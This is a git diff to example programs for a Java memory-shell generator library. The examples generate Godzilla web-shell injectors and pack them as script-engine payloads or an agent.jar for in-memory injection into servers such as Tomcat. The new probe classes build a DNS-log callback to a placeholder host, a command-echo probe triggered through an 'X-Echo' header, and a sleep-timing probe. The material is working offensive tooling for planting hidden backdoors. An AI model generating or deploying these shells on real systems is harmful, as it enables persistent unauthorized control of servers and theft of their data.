diff --git a/examples/memshell-party-maven-example/pom.xml b/examples/memshell-party-maven-example/pom.xml index 69eb3d0f..edaed787 100644 --- a/examples/memshell-party-maven-example/pom.xml +++ b/examples/memshell-party-maven-example/pom.xml @@ -18,8 +18,27 @@ io.github.reajason generator - 1.8.0 + 2.0.0-SNAPSHOT + + + io.github.reajason + packer + 2.0.0-SNAPSHOT + + + + Central Portal Snapshots + central-portal-snapshots + https://central.sonatype.com/repository/maven-snapshots/ + + false + + + true + + + \ No newline at end of file diff --git a/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/DnsLogProbe.java b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/DnsLogProbe.java new file mode 100644 index 00000000..f8bce816 --- /dev/null +++ b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/DnsLogProbe.java @@ -0,0 +1,32 @@ +package com.reajason.javaweb; + +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.ProbeContent; +import com.reajason.javaweb.probe.ProbeMethod; +import com.reajason.javaweb.probe.ProbeShellGenerator; +import com.reajason.javaweb.probe.ProbeShellResult; +import com.reajason.javaweb.probe.config.DnsLogConfig; +import com.reajason.javaweb.probe.config.ProbeConfig; + +/** + * @author ReaJason + * @since 2025/8/13 + */ +public class DnsLogProbe { + public static void main(String[] args) { + ProbeConfig probeConfig = ProbeConfig.builder() + .probeMethod(ProbeMethod.DNSLog) + .probeContent(ProbeContent.Server) // 暂只支持 Server 和 JDK + .shrink(true) + .debug(false) + .build(); + + DnsLogConfig dnsLogConfig = DnsLogConfig.builder() + .host("xxx.dns.log") + .build(); + + ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, dnsLogConfig); + + System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig())); + } +} diff --git a/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/Godzilla.java b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/Godzilla.java index c63aff92..10944a23 100644 --- a/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/Godzilla.java +++ b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/Godzilla.java @@ -1,10 +1,14 @@ package com.reajason.javaweb; -import com.reajason.javaweb.memshell.*; -import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.Server; +import com.reajason.javaweb.memshell.MemShellGenerator; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason @@ -33,18 +37,13 @@ public class Godzilla { // .headerValue("test") .build(); - GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); + MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); System.out.println("注入器类名:" + result.getInjectorClassName()); System.out.println("内存马类名:" + result.getShellClassName()); System.out.println(result.getShellConfig()); System.out.println(result.getShellToolConfig()); - - System.out.println("Base64 打包:" + Packers.Base64.getInstance().pack(result)); - - System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result)); - - System.out.println("CC3 打包:" + Packers.JavaCommonsCollections3.getInstance().pack(result)); + System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig())); } } diff --git a/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/GodzillaAgent.java b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/GodzillaAgent.java index 73472a33..43f265d6 100644 --- a/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/GodzillaAgent.java +++ b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/GodzillaAgent.java @@ -1,11 +1,15 @@ package com.reajason.javaweb; -import com.reajason.javaweb.memshell.*; -import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.MemShellGenerator; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; -import com.reajason.javaweb.memshell.packer.jar.JarPacker; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.packer.jar.JarPacker; +import com.sun.security.ntlm.Server; import java.nio.file.Files; import java.nio.file.Paths; @@ -38,7 +42,7 @@ public class GodzillaAgent { // .headerValue("test") .build(); - GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); + MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); System.out.println("注入器类名:" + result.getInjectorClassName()); System.out.println("内存马类名:" + result.getShellClassName()); @@ -46,7 +50,7 @@ public class GodzillaAgent { System.out.println(result.getShellConfig()); System.out.println(result.getShellToolConfig()); - byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result); + byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result.toJarPackerConfig()); Files.write(Paths.get("agent.jar"), agentJarBytes); } } diff --git a/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/ResponseBodyProbe.java b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/ResponseBodyProbe.java new file mode 100644 index 00000000..5eacdc00 --- /dev/null +++ b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/ResponseBodyProbe.java @@ -0,0 +1,35 @@ +package com.reajason.javaweb; + +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.ProbeContent; +import com.reajason.javaweb.probe.ProbeMethod; +import com.reajason.javaweb.probe.ProbeShellGenerator; +import com.reajason.javaweb.probe.ProbeShellResult; +import com.reajason.javaweb.probe.config.ProbeConfig; +import com.reajason.javaweb.probe.config.ResponseBodyConfig; + +import static com.reajason.javaweb.Server.Tomcat; + +/** + * @author ReaJason + * @since 2025/8/13 + */ +public class ResponseBodyProbe { + public static void main(String[] args) { + ProbeConfig probeConfig = ProbeConfig.builder() + .probeMethod(ProbeMethod.ResponseBody) + .probeContent(ProbeContent.Command) + .shrink(true) + .debug(false) + .build(); + + ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder() + .server(Tomcat) + .reqHeaderName("X-Echo") + .build(); + + ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, responseBodyConfig); + + System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig())); + } +} diff --git a/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/SleepProbe.java b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/SleepProbe.java new file mode 100644 index 00000000..98119b1d --- /dev/null +++ b/examples/memshell-party-maven-example/src/main/java/com/reajason/javaweb/SleepProbe.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb; + +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.ProbeContent; +import com.reajason.javaweb.probe.ProbeMethod; +import com.reajason.javaweb.probe.ProbeShellGenerator; +import com.reajason.javaweb.probe.ProbeShellResult; +import com.reajason.javaweb.probe.config.ProbeConfig; +import com.reajason.javaweb.probe.config.SleepConfig; + +import static com.reajason.javaweb.Server.Tomcat; + +/** + * @author ReaJason + * @since 2025/8/13 + */ +public class SleepProbe { + public static void main(String[] args) { + ProbeConfig probeConfig = ProbeConfig.builder() + .probeMethod(ProbeMethod.Sleep) + .probeContent(ProbeContent.Server) // 暂只支持 Server + .shrink(true) + .debug(false) + .build(); + + SleepConfig sleepConfig = SleepConfig.builder() + .server(Tomcat) + .seconds(5).build(); + + ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, sleepConfig); + + System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig())); + } +}